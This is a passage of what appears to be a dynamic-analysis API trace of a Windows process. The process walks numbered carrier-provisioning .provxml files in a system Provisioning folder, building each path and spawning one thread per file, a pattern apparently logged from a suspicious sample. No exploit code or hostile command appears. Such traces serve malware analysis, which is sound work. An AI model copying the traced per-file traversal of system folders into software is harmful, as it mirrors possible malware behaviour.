Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.014] wcscat (in: _Dest=0x2f9ae58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.014] wcscat (in: _Dest=0x2f9ae58, _Source="578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9ae58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0182.014] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="579__C~1.PRO")) returned 1 [0182.014] wcscmp (_String1="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.014] wcscmp (_String1="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9afa0 [0182.014] wcscpy (in: _Dest=0x2f9afa0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.014] wcscat (in: _Dest=0x2f9afa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.014] wcscat (in: _Dest=0x2f9afa0, _Source="579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9afa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0182.015] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x0, dwReserved1=0x0, cFileName="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="57__CO~1.PRO")) returned 1 [0182.015] wcscmp (_String1="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.015] wcscmp (_String1="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2f6ab60 [0182.015] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.015] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.015] wcscat (in: _Dest=0x2f6ab60, _Source="57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" [0182.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0182.016] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="580__C~1.PRO")) returned 1 [0182.016] wcscmp (_String1="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.016] wcscmp (_String1="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9b0e8 [0182.016] wcscpy (in: _Dest=0x2f9b0e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.016] wcscat (in: _Dest=0x2f9b0e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.016] wcscat (in: _Dest=0x2f9b0e8, _Source="580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b0e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0182.017] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="581__C~1.PRO")) returned 1 [0182.017] wcscmp (_String1="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.017] wcscmp (_String1="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.017] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f99b20 [0182.017] wcscpy (in: _Dest=0x2f99b20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.017] wcscat (in: _Dest=0x2f99b20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.017] wcscat (in: _Dest=0x2f99b20, _Source="581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0182.018] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914e8d94, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x914e8d94, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x914e8d94, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="582__C~1.PRO")) returned 1 [0182.018] wcscmp (_String1="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.018] wcscmp (_String1="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9b230 [0182.018] wcscpy (in: _Dest=0x2f9b230, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.018] wcscat (in: _Dest=0x2f9b230, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.018] wcscat (in: _Dest=0x2f9b230, _Source="582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0182.019] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="583__C~1.PRO")) returned 1 [0182.019] wcscmp (_String1="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.019] wcscmp (_String1="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9b378 [0182.019] wcscpy (in: _Dest=0x2f9b378, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.019] wcscat (in: _Dest=0x2f9b378, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.019] wcscat (in: _Dest=0x2f9b378, _Source="583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0182.019] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="584__C~1.PRO")) returned 1 [0182.019] wcscmp (_String1="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.019] wcscmp (_String1="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9abc8 [0182.020] wcscpy (in: _Dest=0x2f9abc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.020] wcscat (in: _Dest=0x2f9abc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.020] wcscat (in: _Dest=0x2f9abc8, _Source="584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9abc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0182.020] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="585__C~1.PRO")) returned 1 [0182.020] wcscmp (_String1="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.020] wcscmp (_String1="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f99ef8 [0182.020] wcscpy (in: _Dest=0x2f99ef8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.020] wcscat (in: _Dest=0x2f99ef8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.020] wcscat (in: _Dest=0x2f99ef8, _Source="585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0182.021] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9150effc, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9150effc, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9150effc, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="586__C~1.PRO")) returned 1 [0182.021] wcscmp (_String1="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.021] wcscmp (_String1="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9b4c0 [0182.021] wcscpy (in: _Dest=0x2f9b4c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.021] wcscat (in: _Dest=0x2f9b4c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.021] wcscat (in: _Dest=0x2f9b4c0, _Source="586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b4c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0182.022] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="587__C~1.PRO")) returned 1 [0182.022] wcscmp (_String1="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.022] wcscmp (_String1="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.022] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9aa80 [0182.022] wcscpy (in: _Dest=0x2f9aa80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.022] wcscat (in: _Dest=0x2f9aa80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.022] wcscat (in: _Dest=0x2f9aa80, _Source="587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" [0182.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9aa80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0182.023] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91535267, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91535267, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91535267, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="588__C~1.PRO")) returned 1 [0182.023] wcscmp (_String1="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.023] wcscmp (_String1="588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.023] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x2f9b608 [0182.023] wcscpy (in: _Dest=0x2f9b608, _Source="C:\\Users\\All 